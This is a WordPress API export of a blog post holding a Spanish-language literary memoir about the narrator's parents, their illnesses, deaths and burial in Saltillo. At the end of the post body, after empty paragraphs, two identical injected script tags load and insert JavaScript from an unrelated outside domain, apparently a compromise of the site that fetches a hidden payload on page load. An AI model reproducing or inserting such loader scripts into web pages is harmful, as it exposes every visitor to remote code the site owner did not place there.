{"id":108,"date":"2014-10-20T00:19:45","date_gmt":"2014-10-20T05:19:45","guid":{"rendered":"http:\/\/lapulguia.mx\/wp\/?p=108"},"modified":"2025-10-21T07:46:25","modified_gmt":"2025-10-21T13:46:25","slug":"mis-padres-sus-historias","status":"publish","type":"post","link":"https:\/\/lapulguia.mx\/wp\/?p=108","title":{"rendered":"MIS PADRES SUS HISTORIAS"},"content":{"rendered":"<p><strong><em>\u00a0<\/em><\/strong>LIBRO: LOS RELATOS DE LA SIERRA<\/p>\n<p>AUTOR: Jes\u00fas de Le\u00f3n.<\/p>\n<p>I<\/p>\n<p>A VECES VAGO SOLO POR LA CASA. EL SILENCIO HACE MAS SOLIDAS LAS paredes, m\u00e1s amplios los espacios y, a pesar de eso, en los momentos amargos, siempre me ha parecido tan peque\u00f1a, tan estrecha. Creo que la casa est\u00e1 viva, que desarrolla sus propias emociones.<\/p>\n<p>As\u00ed ocurri\u00f3 la v\u00edspera de la muerte de mam\u00e1. Ella llevaba en coma mucho tiempo. Pap\u00e1 y yo nos turn\u00e1bamos para cuidarla. Un d\u00eda regres\u00e9 despu\u00e9s de la m\u00e1s pesada guardia en el hospital, una vecina me pregunt\u00f3:<\/p>\n<p>\u00bfHubo fiesta anoche en tu casa?<\/p>\n<p>\u00bfFiesta?-pregunt\u00e9.<\/p>\n<p>-S\u00ed, escuchamos m\u00fasica, risas, conversaciones-arrug\u00f3 el ce\u00f1o y agreg\u00f3-: \u00bfQu\u00e9 celebraban?<\/p>\n<p>Hasta que me avisaron que mam\u00e1 hab\u00eda muerto, entend\u00ed. Fue una fiesta de despedida hecha en la casa en honor a su due\u00f1a. Como si ocurriera en un buque a bordo del cual, antes de zarpar, la madre se despide del \u00fanico pasajero que queda en la tierra: yo.<\/p>\n<p>&nbsp;<\/p>\n<p>II<\/p>\n<p>MI MADRE FUE UNA OBRERA QUE TRABAJ\u00d3 EN UN TALLER DE FABRICACI\u00d3N de ropa masculina. Despu\u00e9s se hizo modista. Mi padre era campesino, pero durante las malas rachas trabajaba de cantinero.<\/p>\n<p>Cuando mis padres se casaron, los amantes ideales eran la Do\u00f1a y el Se\u00f1or Presidente, m\u00e1ximos emblemas del \u201cdesarrollo estabilizador\u201d. Se viv\u00eda el apogeo de la m\u00fasica arrabalera. Los mambos de P\u00e9rez Prado y canciones lamentosas y peleoneras como \u201cMi dicha lejana\u201d y \u201cMis noches sin ti\u201d. \u00bfQu\u00e9 esperan? Conforme a eso he vivido.<\/p>\n<p>Cuando se cas\u00f3 con mi padre, mi mam\u00e1 era viuda. A su primer marido lo mataron de un balazo en la frente. No se pas\u00f3 la vida enlutada y rezando por dos razones muy sencillas: ten\u00eda veinticinco a\u00f1os y se viv\u00eda la gran efervescencia de los ritmos bailables.<\/p>\n<p>As\u00ed que encogi\u00e9ndose de hombros, dijo:<\/p>\n<p>-El que sigue.<\/p>\n<p>No s\u00e9 cu\u00e1ntos seguir\u00edan, pero aquel que iba a ser mi padre utilizaba cualquier argumento con tal de no ir al baile.<\/p>\n<p>-No te llevo a bailar porque no tengo ropa.<\/p>\n<p>Mam\u00e1 lo compromet\u00eda regal\u00e1ndole alguna prenda y as\u00ed, ella por el inter\u00e9s del baile y \u00e9l por el inter\u00e9s de los obsequios, se iban a bailar al sal\u00f3n de la Sociedad \u201cManuel Acu\u00f1a\u201d. Piense el lector de que circunstancias tan aparentemente insignificantes depende que nazca o no un escritor. De que en una ciudad como Saltillo, tan adormilada en su provincianismo, exista un sal\u00f3n de baile con el nombre de nuestro poeta m\u00e1s destacado y que, de pronto, al adolescente de 18 a\u00f1os, que era entonces pap\u00e1, le gustara estrenar ropa y una modista de veinticinco a\u00f1os aprovechara su sentido del ritmo para adelantarse a su \u00e9poca y tomar la iniciativa y la vida en sus manos.<\/p>\n<p>III<\/p>\n<p>EN EL RECUERDO MAS REMOTO, VEO A MAMA FRENTE A SU MAQUINA DE coser, con rizos a la manera de Rosita Forn\u00e9s y escuchando en el radio \u201cA la orilla de un palmar\u201d. Ella so\u00f1aba con tener una familia muy numerosa, pero s\u00f3lo pudo tener dos hijos. Mi hermano y yo nacimos en casa y fue una comadrona llamada Leopoldina quien nos trajo al mundo. Los maridos se opon\u00edan a que sus mujeres se aliviaran en las cl\u00ednicas, argumentando que podr\u00edan cambiarles a sus hijos. En realidad estaban encantados de que las parteras se fueran a vivir a casa de las parturientas para remplazarlas en todos sus quehaceres, incluidas las tareas conyugales.<\/p>\n<p>Despu\u00e9s de su segundo parto, mam\u00e1 qued\u00f3 delicada de salud. Un par de t\u00edas solteronas que viv\u00edan con nosotros se encargaron de atendernos. Mi madre era simplemente el ojo vigilante que no dejaba a sus hijos ni a sol ni a sombra. Por culpa de ella fuimos un par de ni\u00f1os pulcros y bien presentados; de lo contrario, su acoso podr\u00eda volverse enloquecedor. En cambio, pap\u00e1 siempre fue la libertad absoluta. Rara vez lo ve\u00edamos en casa. Viv\u00eda libre y nos dejaba libres.<\/p>\n<p>Por ser el mayor, me toc\u00f3 estar m\u00e1s cerca de las pugnas de mis padres, sufrir sus distanciamientos, llorar cuando internaban a mam\u00e1 en el hospital. Me hubiera gustado tener a alguien que me diera la mano con ellos. De cualquier manera, mi hermano me ayud\u00f3 a ver las cosas con m\u00e1s calma.<\/p>\n<p>Por las noches el mundo era hermoso. Yo dorm\u00eda con una t\u00eda, mi hermano con otra y mi pap\u00e1 con mi mam\u00e1. Hab\u00eda en la casa tres matrimonios entre mujeres maduras y desp\u00f3ticas con hombres irresponsables y an\u00e1rquicos. O tres nanas, cada una con su ni\u00f1o.<\/p>\n<p>A pesar de estar enferma, mam\u00e1 nunca dej\u00f3 su trabajo de modista. Su energ\u00eda la reserv\u00f3 para eso. Mi hermano y yo pas\u00e1bamos las tardes jugando en un inmenso solar. A veces termin\u00e1bamos peleando y ella interrump\u00eda su labor de costura y nos medio mataba a garrotazos. La manera en que nos desquit\u00e1bamos era muy sencilla: espi\u00e1bamos a las mujeres que se iban a probar ropa. M\u00e1s de una nos hizo el n\u00famero completo.<\/p>\n<p>As\u00ed era todo: pap\u00e1 cuidando la huerta o trabajando en el bar, mam\u00e1 patrocinando nuestra educaci\u00f3n sexual y nosotros creciendo ajenos al destino que nos amenazaba: la escuela como fatalidad, como prisi\u00f3n.<\/p>\n<p>&nbsp;<\/p>\n<p>IV<\/p>\n<p>UNA VEZ ESCUCH\u00c9 DECIR A MI AMIGO SERGIO QUE LA PRINCIPAL DEUDA que tenemos los narradores norte\u00f1os es con la tradici\u00f3n oral. Adem\u00e1s de que, a un nivel m\u00e1s particular, el escritor termina por darle un estatus literario al habla que ha o\u00eddo en su \u00e1mbito familiar. Yo tengo testimonios que pueden apoyar esa tesis. Mam\u00e1 era una extraordinaria narradora. En familia nos pas\u00e1bamos tardes enteras disfrutando de las palabras, gestos y ademanes con que mam\u00e1 narraba las peripecias de su primer marido, aquel contrabandista de la frontera cuyo cad\u00e1ver balaceado recibi\u00f3 ella en sus brazos, y los problemas que tuvo despu\u00e9s para aguantar al \u201cpan con atole\u201d que era pap\u00e1. Dicho sea de paso, ninguna comida le parec\u00eda a mam\u00e1 tan desabrida y carente de gracia como ese austero alimento.<\/p>\n<p>Mi madre me dej\u00f3 una imagen persistente que no he logrado explicar del todo. De ser una persona tan viva, tan vital, que embrujaba a mis amigos con sus historias, de buenas a primeras sucumbi\u00f3 al coma, al silencio. Cerr\u00f3 los ojos. Tuvo que ser internada, pero las historias segu\u00edan en su mente, repiti\u00e9ndose obstinadas, como lo demostraban las l\u00e1grimas que flu\u00edan de sus ojos cerrados, que ya nunca se volver\u00edan a abrir.<\/p>\n<p>\u00bfQu\u00e9 recordaba? No lo s\u00e9. Ella, como mi padre, muri\u00f3 a su manera. Justific\u00e1ndose m\u00e1s all\u00e1 de mi incomprensi\u00f3n, m\u00e1s all\u00e1 de mi afecto, como si miraran, por encima de mi vida, un paisaje que yo jam\u00e1s ver\u00eda. Para m\u00ed eso representa la ausencia de mi madre. Haber estado junto a ella y, sin embargo, no poder ver lo que vio, lo que ya no pudo contarme.<\/p>\n<p>V<\/p>\n<p>SI MAMA ERA ENVOLVENTE PARA NARRAR, PAPA NO ERA TAN PARCO. SI yo hubiera seguido su estilo de contar historias no tender\u00eda a lo abrumadoramente atroz. Entre mis primeras aspiraciones como escritor, estaba el hacer cuentos de ambiente g\u00f3tico. Me di a la tarea con toda seriedad y, adem\u00e1s, ten\u00eda varias cosas a mi favor. Viv\u00eda s\u00f3lo en una casa vieja y l\u00fagubre en la que hab\u00edan muerto varios de mis parientes y en la que, para colmo de lo t\u00e9trico, tambi\u00e9n yo hab\u00eda nacido. As\u00ed pues, cerr\u00e9 puertas y ventanas, me puse bajo la l\u00e1mpara de luz oblicua y, cuando estaba a punto de arrancarme escribiendo, aparec\u00eda en la puerta la ge\u00f3rgica figura de pap\u00e1, diciendo: \u201cAhorita vengo, voy por la leche\u201d.<\/p>\n<p>Ni modo, los vampiros volaban, los muertos regresaban a sus tumbas y yo que quedaba inmerso en un ambiente de mugidos, balidos y un fuerte olor a pastura durante el resto de la velada. Al rato, pap\u00e1 volv\u00eda con su sombrero y sus botas vaqueras, su camisa a cuadros y su paliacate en el pescuezo, cargando la olla de la leche humeante todav\u00eda.<\/p>\n<p>\u00bfC\u00f3mo resolver este buc\u00f3lico dilema? No ten\u00eda tanto dinero como para comprar un \u00f3rgano tubular. Encajarme una estaca en el pecho me habr\u00eda tra\u00eddo problemas. Pedirle a pap\u00e1 que se pusiera una m\u00e1scara como el fantasma de la \u00f3pera no hubiera funcionado, porque lo delatar\u00edan sus bigotes de brocha de encalar.<\/p>\n<p>Me fui a una tienda de disfraces y le pregunt\u00e9 al empleado:<\/p>\n<p>-\u00bfTiene algo que se parezca a un h\u00e1bito de monje?<\/p>\n<p>-S\u00ed, tenemos varios. \u00bfCu\u00e1l le gusta?<\/p>\n<p>Eleg\u00ed el m\u00e1s oscuro y polvoriento. No le entend\u00ed muy bien al empleado, pero parece que era muy similar al que usaba Jos\u00e9 Vasconcelos en la \u00faltima parte de su vida. Ven\u00eda con el flagelo incluido.<\/p>\n<p>-No gracias-le dije al empleado-. Flagelos no necesito, ya tengo los suficientes.<\/p>\n<p>Convencer a pap\u00e1 de que usara aquel atuendo no fue dif\u00edcil. Al fin y al cabo, s\u00f3lo lo necesitaba para pasar frente a mi cuarto; despu\u00e9s pod\u00eda quit\u00e1rselo, colgarlo en un clavo de la pared y seguir su camino como le pareciera.<\/p>\n<p>Nunca llegu\u00e9 a enterarme si se lo pon\u00eda en la calle. Lo m\u00e1s que hubieran pensado era que andaba crudo y, como dijo don Al\u00ed Chumacero, <em>el crudo es un animal sagrado. <\/em>Mi ambiente estaba completo. Frente a m\u00ed, de vez en cuando, pasaba una especie de monje cargando una olla humeante. Inmerso ya en la atm\u00f3sfera adecuada, empezaba a escribir. Y as\u00ed me segu\u00eda hasta la madrugada.<\/p>\n<p>VI<\/p>\n<p>EL ALCOHOLISMO DE MI PADRE SE ACENTU\u00d3 Y, EN UNA DE ESAS ANDANZAS, sufri\u00f3 aquella grave ca\u00edda. No le ten\u00eda nada de confianza a ese m\u00e9dico que habr\u00eda de operarlo. Le parec\u00eda demasiado joven e inexperto.<\/p>\n<p>-\u00bfEs usted el que me va a operar?-le pregunt\u00f3 pap\u00e1 al m\u00e9dico.<\/p>\n<p>-Por supuesto, \u00bfpor qu\u00e9? \u2013le respondi\u00f3 el doctor.<\/p>\n<p>-La mera verdad- y lo barri\u00f3 con la mirada-, usted tiene m\u00e1s cara de chivo que de pastor.<\/p>\n<p>Y no le fall\u00f3 el diagn\u00f3stico. Lo oper\u00f3 un chivo y se lo llev\u00f3 patas de cabra. Ojal\u00e1 Dios lo tenga en su santa gloria (Que si de veras lo tiene all\u00e1, dudo que esa tal Gloria siga siendo santa).<\/p>\n<p>VII<\/p>\n<p>VOLVAMOS AL G\u00c9NERO G\u00d3TICO. LA PREGUNTA SE IMPONE. \u00bfES NECESARIO tener una atm\u00f3sfera? \u00bfQu\u00e9 tanto depende la literatura g\u00f3tica del ambiente espec\u00edfico? \u00bfTenemos que ubicar obligatoriamente nuestros cuentos en Transilvania, aunque vivamos en Ramos Arizpe? \u00bfHay que disfrazarse de Bram Stoker, Edgar Allan Poe o Gustav Meyrink para acometer el g\u00e9nero con el debido \u00e9xito? \u00bfNo estar\u00eda corriendo el riesgo de que me pasara lo que le pas\u00f3 a mi amigo, el lagunero Paquito el de los cuentos, cuando quiso convertir al mism\u00edsimo marqu\u00e9s de Aguayo en una especie de Jinete sin Cabeza, pero con cabeza?<\/p>\n<p>\u00bfAcaso ten\u00eda yo el derecho de convertir a Manuel Acu\u00f1a en una \u00e1nima en pena vagando por las ruinas del Teatro Garc\u00eda Carrillo? \u00bfY qu\u00e9 decir del Var\u00f3n de Cuatroci\u00e9negas, ultimado en una oscura noche en Tlaxcalantongo? \u00bfO de Francisco I. Madero recibiendo el dictado de su hermano difunto?<\/p>\n<p>Las respuestas a estas preguntas me las dar\u00eda m\u00e1s tarde pap\u00e1, al demostrarme que no necesitaba ni de h\u00e1bito de monje ni de ambiente crepuscular (ni siquiera la jodida olla de leche) para protagonizar una historia de terror. Le bast\u00f3 simplemente con agarrar la borrachera.<\/p>\n<p>VIII<\/p>\n<p>\u00bfSABEN LO DIFICIL QUE ES CUIDAR UN MORIBUNDO EN EL HOSPITAL CUANDO no se es enfermero del Seguro Social? No se los recomiendo. Yo tuve que lidiar con pap\u00e1 que iba a ser operado. Poco falt\u00f3 para que yo entregara el equipo. Apenas se vaciaba el hospital, quedando s\u00f3lo las enfermeras y m\u00e9dicos de la guardia nocturna, comenzaba para m\u00ed el suplicio. A altas horas de la madrugada pap\u00e1 invocaba a los muertos. Iban apareci\u00e9ndose en el cuarto, ocup\u00e1ndolo poco a poco con su ausencia hasta que aquello quedaba saturado de espectros: t\u00edos, primos, abuelos\u2026Pap\u00e1 se dirig\u00eda a cada uno de ellos por su nombre y esperaba respuesta. Yo ten\u00eda que estar all\u00ed como moderador de aquel panel espectral, hasta que la presencia de los ausentes se volv\u00eda opresiva y, en un momento dado, no s\u00e9 c\u00f3mo ni cu\u00e1ndo, empezaba yo a gritar, a caminar de un lado para otro, moviendo los brazos, como si quisiera dispersar una gruesa cortina de humo: \u201c!Ya basta, c\u00e1llense, l\u00e1rguense!\u201d<\/p>\n<p>No pod\u00eda dejar s\u00f3lo mucho tiempo a pap\u00e1. Por efecto de los medicamentos o de la anestesia-el dolor de una pierna rota es muy intenso-, \u00e9l hab\u00eda perdido la noci\u00f3n de d\u00f3nde se encontraba. Todo se confund\u00eda con cosas del campo.<\/p>\n<p>De pronto dec\u00eda: \u201c\u00bfQu\u00e9 hace esta rama aqu\u00ed?\u201d Y tumbaba el tubo que sosten\u00eda el suero. \u201c\u00bfPor qu\u00e9 tengo este lazo enredado?\u201d Y se arrancaba el cat\u00e9ter. Eso, para no hablar de que confund\u00eda a las enfermeras con borregos y a los doctores con chivos.<\/p>\n<p>Como consuelo, me quedaba que me hab\u00eda ido peor con mi abuela y con mam\u00e1. A la abuela las noches se le volvieron d\u00edas y mam\u00e1 estuvo sumida en un coma tan profundo que uno ten\u00eda que ir personalmente a cambiarla de posici\u00f3n. Hab\u00eda que moverla para que no se le hicieran llagas y aspirarle con un aparato la mucosidad para que siguiera respirando.<\/p>\n<p>Una noche pap\u00e1 recibi\u00f3 la \u00faltima visita ultraterrena. Supongo que \u00e9l y mam\u00e1 se pusieron a platicar como esas noches en que \u00e9l llegaba de la cantina y ella cerraba su m\u00e1quina de coser dejando preparados los trabajos de costura que iba a entregar al d\u00eda siguiente. Despu\u00e9s proba blemente mam\u00e1 lo debe haber rega\u00f1ado por ser tan torpe e irresponsable como para sufrir una serie de fracturas.<\/p>\n<p>-\u00bfNo entiendes que los muchachos est\u00e1n cansados de cuidar inv\u00e1lidos? \u00bfYa viste la cara que carga Jes\u00fas?<\/p>\n<p>-Tienes raz\u00f3n. Si ese muchacho no se cuida, en especial de esas compa\u00f1\u00edas tan raras con las que anda, uno de estos d\u00edas nos va a dar un buen susto. Imag\u00ednate, la \u00faltima vez meti\u00f3 a la casa a un cr\u00edtico literario. Tenemos que ayudarlo.<\/p>\n<p>-\u00bfY qu\u00e9 piensas hacer?<\/p>\n<p>Pap\u00e1 se encogi\u00f3 de hombros.<\/p>\n<p>-V\u00e1monos.<\/p>\n<p>-\u00a1As\u00ed nom\u00e1s!<\/p>\n<p>-Claro, ahora no me queda el pretexto de que no tengo qu\u00e9 ponerme. No s\u00e9. Pi\u00e9nsalo. \u00bfO quieres que andemos por aqu\u00ed de \u00e1nimas en pena?<\/p>\n<p>El espectro de mam\u00e1 suspir\u00f3 y mene\u00f3 la cabeza.<\/p>\n<p>-El mismo atole con pan de siempre-dijo- . Est\u00e1 bien. V\u00e1monos. Felipe quiere conocerte. Tal vez puedas aprender algo de \u00e9l.<\/p>\n<p>-Tienes raz\u00f3n nunca es tarde.<\/p>\n<p>Al terminar de escribir este di\u00e1logo. Me pregunto: \u00bfde veras lo imagin\u00e9, lo so\u00f1\u00e9 o me toc\u00f3 presenciarlo? Es mejor no sacar conclusiones. No quiero acabar como pap\u00e1 invocando otro desfile de espectros.<\/p>\n<p>IX<\/p>\n<p>FUE EL DIA DE LOS MUERTOS. ESTABA LIMPIANDO LA TUMBA FAMILIAR, MUY tranquilo. Al lado de la tumba se ubica la del primer marido de mam\u00e1. Siempre me pregunt\u00e9 por qu\u00e9 ella no quiso enterrar a su primer esposo en la cripta familiar y prefiri\u00f3 comprar un terreno al lado de \u00e9sta para sepultarlo. \u00bfSer\u00eda por la fama de narco, contrabandista y sat\u00e1nico que el tipo tuvo en vida? \u00bfO temi\u00f3 que el resto de la parentela le reprochara meter en la cripta familiar un cad\u00e1ver con un plomazo en la frente? Para no hablar de la ni\u00f1a que se le malogr\u00f3, puesto que ella estaba embarazada al momento de saber la noticia de la muerte de Felipe (as\u00ed se llamaba su primer pelado) y quien, seg\u00fan ella, le pidi\u00f3 en sue\u00f1os a la criatura para llev\u00e1rsela. El caso es que cuando despert\u00f3, el producto ya se hab\u00eda malogrado.<\/p>\n<p>A la ni\u00f1a si la enterr\u00f3 en la b\u00f3veda familiar y no puedo sino manifestar mi extra\u00f1eza ante las decisiones de mam\u00e1. La tumba en la que enterr\u00f3 a Felipe es una r\u00e9plica exacta de la otra. Son tumbas gemelas. Al grado de haber provocado una inc\u00f3gnita que hasta la fecha no s\u00e9 c\u00f3mo resolver.<\/p>\n<p>Cuando muri\u00f3 mam\u00e1, pap\u00e1 y yo nos enfrentamos al problema de donde enterrarla, si con su primer marido o con el resto de la familia. Pap\u00e1, con ese car\u00e1cter tan suyo, dej\u00f3 el problema en mis manos.<\/p>\n<p>-Si quieres, d\u00e9jala con Felipe. Al cabo que no soy celoso.<\/p>\n<p>Quiz\u00e1 no hubiera opinado lo mismo si hubiera le\u00eddo aquel verso de Quevedo que dice:<\/p>\n<p><em>Polvo ser\u00e1n, m\u00e1s polvo enamorado\u2026<\/em><\/p>\n<p>Temeroso de que hubiera en verdad un amor constante m\u00e1s all\u00e1 de la muerte, prefer\u00ed enterrar a mi madre en la cripta familiar. Algunos a\u00f1os m\u00e1s tarde, cuando yo andaba limpiando las sepulturas, lleg\u00f3 una t\u00eda del rancho, con un enorme ramo de crisantemos, y me pregunt\u00f3:<\/p>\n<p>-\u00bfD\u00f3nde est\u00e1 enterrada tu mam\u00e1?<\/p>\n<p>-Aqu\u00ed-dije se\u00f1alando la cripta familiar.<\/p>\n<p>Despu\u00e9s de colocar las flores, mi t\u00eda contempl\u00f3 las dos l\u00e1pidas y llam\u00f3 a su hijo qui\u00e9n cargaba otro ramo.<\/p>\n<p>-\u00c9stas son para tu pap\u00e1. \u00bfD\u00f3nde est\u00e1?<\/p>\n<p>No supe que responder. Mi t\u00eda arrug\u00f3 el ce\u00f1o.<\/p>\n<p>-No lo habr\u00e1s enterrado con Felipe, \u00bfVerdad?<\/p>\n<p>De regreso a mi casa, medit\u00e9: si pap\u00e1 y mam\u00e1 est\u00e1n enterrados en el mismo lugar, lo m\u00e1s probable es que ella en este momento est\u00e9 sali\u00e9ndose con todo y caj\u00f3n de la cripta familiar para mudarse a la tumba de al lado, porque como dice el dicho \u201cm\u00e1s vale malo por conocido que este atole con pan\u2026\u201d<\/p>\n<p>Cada que mi hermano Carlos me llama para recordarme que se acerca el 2 de Noviembre y que debo cumplir con mi deber de arreglar las tumbas, siento como si la familia entera hubiera echado sobre mis hombros la tarea de decidir d\u00f3nde se entierra a cada quien. Me rebelo un poco ante esta tarea y me pregunto \u00bfen qu\u00e9 jodida cripta, tumba o pozo me ir\u00e1n a echar cuando me muera?<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0LIBRO: LOS RELATOS DE LA SIERRA AUTOR: Jes\u00fas de Le\u00f3n. I A VECES VAGO SOLO POR LA CASA. EL SILENCIO HACE MAS SOLIDAS LAS paredes, m\u00e1s amplios los espacios y, a pesar de eso, en los momentos amargos, siempre me ha parecido tan peque\u00f1a, tan estrecha. Creo que la casa est\u00e1 viva, que desarrolla sus &hellip; <a href=\"https:\/\/lapulguia.mx\/wp\/?p=108\" class=\"more-link\">Seguir leyendo <span class=\"screen-reader-text\">MIS PADRES SUS HISTORIAS<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[12],"tags":[53,52],"_links":{"self":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts\/108"}],"collection":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=108"}],"version-history":[{"count":3,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts\/108\/revisions"}],"predecessor-version":[{"id":3323,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=\/wp\/v2\/posts\/108\/revisions\/3323"}],"wp:attachment":[{"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapulguia.mx\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}